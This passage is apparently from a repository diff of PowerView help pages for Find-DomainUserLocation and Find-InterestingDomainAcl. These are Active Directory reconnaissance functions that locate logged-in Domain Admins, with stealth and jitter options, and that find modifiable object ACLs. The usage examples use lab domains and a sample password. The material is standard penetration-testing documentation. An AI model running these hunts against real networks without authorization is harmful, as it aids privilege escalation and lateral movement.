Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainFileServer, Get-DomainDFSShare, Get-DomainController, Get-DomainComputer, Get-DomainUser, Get-DomainGroupMember, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetSession, Test-AdminAccess, Get-NetLoggedon, Resolve-IPAddress, New-ThreadedFunction
## SYNTAX
### UserGroupIdentity (Default)
```
Find-DomainUserLocation [[-ComputerName] <String[]>] [-Domain <String>] [-ComputerDomain <String>]
[-ComputerLDAPFilter <String>] [-ComputerSearchBase <String>] [-ComputerUnconstrained]
[-ComputerOperatingSystem <String>] [-ComputerServicePack <String>] [-ComputerSiteName <String>]
[-UserDomain <String>] [-UserLDAPFilter <String>] [-UserSearchBase <String>] [-UserGroupIdentity <String[]>]
[-UserAdminCount] [-UserAllowDelegation] [-CheckAccess] [-Server <String>] [-SearchScope <String>]
[-ResultPageSize <Int32>] [-ServerTimeLimit <Int32>] [-Tombstone] [-Credential <PSCredential>]
[-StopOnSuccess] [-Delay <Int32>] [-Jitter <Double>] [-Stealth] [-StealthSource <String>] [-Threads <Int32>]
```
### UserIdentity
```
Find-DomainUserLocation [[-ComputerName] <String[]>] [-Domain <String>] [-ComputerDomain <String>]
[-ComputerLDAPFilter <String>] [-ComputerSearchBase <String>] [-ComputerUnconstrained]
[-ComputerOperatingSystem <String>] [-ComputerServicePack <String>] [-ComputerSiteName <String>]
[-UserIdentity <String[]>] [-UserDomain <String>] [-UserLDAPFilter <String>] [-UserSearchBase <String>]
[-UserAdminCount] [-UserAllowDelegation] [-CheckAccess] [-Server <String>] [-SearchScope <String>]
[-ResultPageSize <Int32>] [-ServerTimeLimit <Int32>] [-Tombstone] [-Credential <PSCredential>]
[-StopOnSuccess] [-Delay <Int32>] [-Jitter <Double>] [-Stealth] [-StealthSource <String>] [-Threads <Int32>]
```
### ShowAll
```
Find-DomainUserLocation [[-ComputerName] <String[]>] [-Domain <String>] [-ComputerDomain <String>]
[-ComputerLDAPFilter <String>] [-ComputerSearchBase <String>] [-ComputerUnconstrained]
[-ComputerOperatingSystem <String>] [-ComputerServicePack <String>] [-ComputerSiteName <String>]
[-UserDomain <String>] [-UserLDAPFilter <String>] [-UserSearchBase <String>] [-UserAdminCount]
[-UserAllowDelegation] [-CheckAccess] [-Server <String>] [-SearchScope <String>] [-ResultPageSize <Int32>]
[-ServerTimeLimit <Int32>] [-Tombstone] [-Credential <PSCredential>] [-StopOnSuccess] [-Delay <Int32>]
[-Jitter <Double>] [-ShowAll] [-Stealth] [-StealthSource <String>] [-Threads <Int32>]
```
## DESCRIPTION
This function enumerates all machines on the current (or specified) domain
using Get-DomainComputer, and queries the domain for users of a specified group
(default 'Domain Admins') with Get-DomainGroupMember.
Then for each server the
function enumerates any active user sessions with Get-NetSession/Get-NetLoggedon
The found user list is compared against the target list, and any matches are
displayed.
If -ShowAll is specified, all results are displayed instead of
the filtered set.
If -Stealth is specified, then likely highly-trafficed servers
are enumerated with Get-DomainFileServer/Get-DomainController, and session
enumeration is executed only against those servers.
If -Credential is passed,
then Invoke-UserImpersonation is used to impersonate the specified user
before enumeration, reverting after with Invoke-RevertToSelf.
## EXAMPLES
### -------------------------- EXAMPLE 1 --------------------------
```
Find-DomainUserLocation
```
Searches for 'Domain Admins' by enumerating every computer in the domain.
### -------------------------- EXAMPLE 2 --------------------------
```
Find-DomainUserLocation -Stealth -ShowAll
```
Enumerates likely highly-trafficked servers, performs just session enumeration
against each, and outputs all results.
### -------------------------- EXAMPLE 3 --------------------------
```
Find-DomainUserLocation -UserAdminCount -ComputerOperatingSystem 'Windows 7*' -Domain dev.testlab.local
```
Enumerates Windows 7 computers in dev.testlab.local and returns user results for privileged
users in dev.testlab.local.
### -------------------------- EXAMPLE 4 --------------------------
```
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
```
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Find-DomainUserLocation -Domain testlab.local -Credential $Cred
Searches for domain admin locations in the testlab.local using the specified alternate credentials.
## PARAMETERS
### -ComputerName
Specifies an array of one or more hosts to enumerate, passable on the pipeline.
If -ComputerName is not passed, the default behavior is to enumerate all machines
in the domain returned by Get-DomainComputer.
```yaml
Type: String[]
Parameter Sets: (All)
Aliases: DNSHostName
Required: False
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```
### -Domain
Specifies the domain to query for computers AND users, defaults to the current domain.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -ComputerDomain
Specifies the domain to query for computers, defaults to the current domain.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -ComputerLDAPFilter
Specifies an LDAP query string that is used to search for computer objects.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -ComputerSearchBase
Specifies the LDAP source to search through for computers,
e.g.
"LDAP://OU=secret,DC=testlab,DC=local".
Useful for OU queries.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -ComputerUnconstrained
Switch.
Search computer objects that have unconstrained delegation.
```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases: Unconstrained
Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```
### -ComputerOperatingSystem
Search computers with a specific operating system, wildcards accepted.
```yaml
Type: String
Parameter Sets: (All)
Aliases: OperatingSystem
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -ComputerServicePack
Search computers with a specific service pack, wildcards accepted.
```yaml
Type: String
Parameter Sets: (All)
Aliases: ServicePack
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -ComputerSiteName
Search computers in the specific AD Site name, wildcards accepted.
```yaml
Type: String
Parameter Sets: (All)
Aliases: SiteName
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -UserIdentity
Specifies one or more user identities to search for.
```yaml
Type: String[]
Parameter Sets: UserIdentity
Aliases:
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -UserDomain
Specifies the domain to query for users to search for, defaults to the current domain.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -UserLDAPFilter
Specifies an LDAP query string that is used to search for target users.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -UserSearchBase
Specifies the LDAP source to search through for target users.
e.g.
"LDAP://OU=secret,DC=testlab,DC=local".
Useful for OU queries.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -UserGroupIdentity
Specifies a group identity to query for target users, defaults to 'Domain Admins.
If any other user specifications are set, then UserGroupIdentity is ignored.
```yaml
Type: String[]
Parameter Sets: UserGroupIdentity
Aliases: GroupName, Group
Required: False
Position: Named
Default value: Domain Admins
Accept pipeline input: False
Accept wildcard characters: False
```
### -UserAdminCount
Switch.
Search for users users with '(adminCount=1)' (meaning are/were privileged).
```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases: AdminCount
Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```
### -UserAllowDelegation
Switch.
Search for user accounts that are not marked as 'sensitive and not allowed for delegation'.
```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases: AllowDelegation
Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```
### -CheckAccess
Switch.
Check if the current user has local admin access to computers where target users are found.
```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```
### -Server
Specifies an Active Directory server (domain controller) to bind to.
```yaml
Type: String
Parameter Sets: (All)
Aliases: DomainController
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -SearchScope
Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: Subtree
Accept pipeline input: False
Accept wildcard characters: False
```
### -ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
```yaml
Type: Int32
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: 200
Accept pipeline input: False
Accept wildcard characters: False
```
### -ServerTimeLimit
Specifies the maximum amount of time the server spends searching.
Default of 120 seconds.
```yaml
Type: Int32
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: 0
Accept pipeline input: False
Accept wildcard characters: False
```
### -Tombstone
Switch.
Specifies that the searcher should also return deleted/tombstoned objects.
```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```
### -Credential
A \[Management.Automation.PSCredential\] object of alternate credentials
for connection to the target domain and target systems.
```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```
### -StopOnSuccess
Switch.
Stop hunting after finding after finding a target user.
```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```
### -Delay
Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
```yaml
Type: Int32
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: 0
Accept pipeline input: False
Accept wildcard characters: False
```
### -Jitter
Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
```yaml
Type: Double
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: 0.3
Accept pipeline input: False
Accept wildcard characters: False
```
### -ShowAll
Switch.
Return all user location results instead of filtering based on target
specifications.
```yaml
Type: SwitchParameter
Parameter Sets: ShowAll
Aliases:
Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```
### -Stealth
Switch.
Only enumerate sessions from connonly used target servers.
```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```
### -StealthSource
The source of target servers to use, 'DFS' (distributed file servers),
'DC' (domain controllers), 'File' (file servers), or 'All' (the default).
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: All
Accept pipeline input: False
Accept wildcard characters: False
```
### -Threads
The number of threads to use for user searching, defaults to 20.
```yaml
Type: Int32
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: 20
Accept pipeline input: False
Accept wildcard characters: False
```
## INPUTS
## OUTPUTS
### PowerView.UserLocation
## NOTES
## RELATED LINKS
+239
View File
@@ -0,0 +1,239 @@
# Find-InterestingDomainAcl
## SYNOPSIS
Finds object ACLs in the current (or specified) domain with modification
rights set to non-built in objects.
Thanks Sean Metcalf (@pyrotek3) for the idea and guidance.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainObjectAcl, Get-DomainObject, Convert-ADName
## SYNTAX
```
Find-InterestingDomainAcl [[-Domain] <String>] [-ResolveGUIDs] [-RightsFilter <String>] [-LDAPFilter <String>]
[-SearchBase <String>] [-Server <String>] [-SearchScope <String>] [-ResultPageSize <Int32>]
[-ServerTimeLimit <Int32>] [-Tombstone] [-Credential <PSCredential>]
```
## DESCRIPTION
This function enumerates the ACLs for every object in the domain with Get-DomainObjectAcl,
and for each returned ACE entry it checks if principal security identifier
is *-1000 (meaning the account is not built in), and also checks if the rights for
the ACE mean the object can be modified by the principal.
If these conditions are met,
then the security identifier SID is translated, the domain object is retrieved, and
additional IdentityReference* information is appended to the output object.
## EXAMPLES
### -------------------------- EXAMPLE 1 --------------------------
```
Find-InterestingDomainAcl
```
Finds interesting object ACLS in the current domain.
### -------------------------- EXAMPLE 2 --------------------------
```
Find-InterestingDomainAcl -Domain dev.testlab.local -ResolveGUIDs
```
Finds interesting object ACLS in the ev.testlab.local domain and
resolves rights GUIDs to display names.
### -------------------------- EXAMPLE 3 --------------------------
```
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
```
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Find-InterestingDomainAcl -Credential $Cred -ResolveGUIDs
## PARAMETERS
### -Domain
Specifies the domain to use for the query, defaults to the current domain.
```yaml
Type: String
Parameter Sets: (All)
Aliases: DomainName, Name
Required: False
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```
### -ResolveGUIDs
Switch.
Resolve GUIDs to their display names.
```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```
### -RightsFilter
{{Fill RightsFilter Description}}
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
```yaml
Type: String
Parameter Sets: (All)
Aliases: Filter
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -SearchBase
The LDAP source to search through, e.g.
"LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
```yaml
Type: String
Parameter Sets: (All)
Aliases: ADSPath
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -Server
Specifies an Active Directory server (domain controller) to bind to.
```yaml
Type: String
Parameter Sets: (All)
Aliases: DomainController
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: Subtree
Accept pipeline input: False
Accept wildcard characters: False
```
### -ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
```yaml
Type: Int32
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: 200
Accept pipeline input: False
Accept wildcard characters: False
```
### -ServerTimeLimit
Specifies the maximum amount of time the server spends searching.
Default of 120 seconds.
```yaml
Type: Int32
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: 0
Accept pipeline input: False
Accept wildcard characters: False
```
### -Tombstone
Switch.
Specifies that the searcher should also return deleted/tombstoned objects.
```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```
### -Credential
A \[Management.Automation.PSCredential\] object of alternate credentials
for connection to the target domain.
```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```
## INPUTS
## OUTPUTS
### PowerView.ACL
Custom PSObject with ACL entries.
## NOTES
## RELATED LINKS

Some files were not shown because too many files have changed in this diff Show More